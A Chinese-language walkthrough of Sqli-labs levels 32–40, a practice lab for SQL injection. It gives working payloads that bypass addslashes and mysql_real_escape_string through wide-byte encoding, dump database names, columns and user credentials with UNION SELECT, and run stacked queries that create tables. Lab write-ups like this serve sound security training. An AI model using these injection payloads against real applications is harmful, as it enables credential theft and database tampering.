Sqli-labs闯关题32-40题,详细解答。
第三十二关:Bypass addslashes()
宽字节绕过引号转义
addslashes()会在单引号前加一个\ 例如:I'm hacker 传入addslashes(),得到:I\'m hacker
本题想以此阻止sql注入语句闭合,但是可以使用宽字节绕过:原理大概来说就是,一个双字节组成的字符,比如一个汉字‘我’的utf8编码为%E6%88%91 当我们使用?id=-1%E6' 这样的构造时,' 前面加的 \ 就会和%E6 合在一起,但是又不是一个正常汉字,但是起到了注掉 \ 的作用。
爆数据库名 ?id=-1%E6' union select 1,version(),database() --+
在爆列的时候我们要用到‘user’,有单引号,我们用十六进制编码替代,users 使用十六进制编码得到7573657273,构造为0x7573657273
获取列名 ?id=-1%E6' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+
获得用户名密码:?id=-1%E6' union select 1,2,group_concat(username,0x3b,password) from users--+
第三十三关;Bypass addslashes() 绕过 addslashes()
和第三十二关一模一样.
得出数据库:
爆用户名和密码:
第三十四关: Bypass Add SLASHES 绕过添加斜杠
变成上两关的post方式
获取数据库版本和数据库名 uname=admin%99' union select version(),database()#&passwd=admin&submit=Submit
获取数据库密码 uname=admin%99' union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&submit=Submit(注意这关uname好像只有两个显示位)
注意获得列名的时候引号要转义
第三十五关:why care for addslashes()为什么要关心addslashes()
id没有被单引号括起来所以addslashes起不到作用
测试一下,发现id周围也没有单引号或双引号,直接正常做就行了。
获得版本库名 ?id=-1 union select 1,version(),database()--+
爆表名 ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆列名 ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
获取用户名密码 ?id=-1 union select 1,2,group_concat(username,0x3b,password) from users#
第三十六关:GET-Bypass MYSQL_real_escape_string
这关和之前的二十二关很相似,可以用相同的方法解决,因为这关可以通过宽字节 %df 或者utf-16来解决,二十二关是utf-16
获取用户名密码 ?id=-1%E6' union select 1,2,group_concat(username,0x3b,password) from users--+
宽字节的话就是这个样子
?id=0%df%27%20union%20selEct%201,group_concat(schema_name),2%20from%20information_schema.schemata;%23
-1%EF%BF%BD%27union%20select%201,user(),3--+
第三十七关:POST-Bypass MYSQL_real_escape_string
uname=admin%df%27 or 1=2 union select 1,database()#
获取数据库名 uname=admin%99' union select version(),database()#&passwd=admin&submit=Submit
获取用户名密码 uname=admin%99' union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&submit=Submit
也可以用%df进行绕过 uname=0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23&passwd=1&submit=Submit
第三十八关:Future Etditions GET-Stacked-Query-injection-String
这一关又是新的篇章,用堆叠注入。mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个才能进行堆叠)分号我们可以加入注入的新的语句
单引号闭合
这关主要是往数据库中写入些什么东西(用%23进行注释)
获得版本和数据库名 ?id=0%FE' union select 1,version(),database() %23
获得表名 ?id=0%FE' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
获得列名 ?id=0%FE' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23
获取用户名密码 ?id=0%FE' union select 1,group_concat(username),group_concat(password) from security.users where 1 %23
当然这一关的主旨是新建表: ?id=1';create table test like users;%23
再查表的时候就已经发现有我们刚才新建的表了,如果我们查看文档,你会发现新建的那个表的信息就是用户名和密码。直接就出来了。
第三十九关:GET-Stacked Query injection-intiger bassed
和三十八关一样,没有单引号闭合,堆叠注入
获得版本和数据库名 ?id=0 union select 1,version(),database() %23
获得表名 ?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
获得列名 ?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23
获取用户名密码 ?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23
和三十八关一样,也可以进行新建表 ?id=1 ;create table test like users;%23
第四十关:GET-BLIND based-String-Stacked
和三十八关基本一样,加括号,堆叠注入
获得列名:?id=0%FE') union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23
获得用户名密码:?id=0%FE')union select 1,group_concat(username),group_concat(password) from security.users where 1 %23
和三十八关一样,也可以进行新建表 ?id=1‘) ;create table test like users;%23
好了!结束!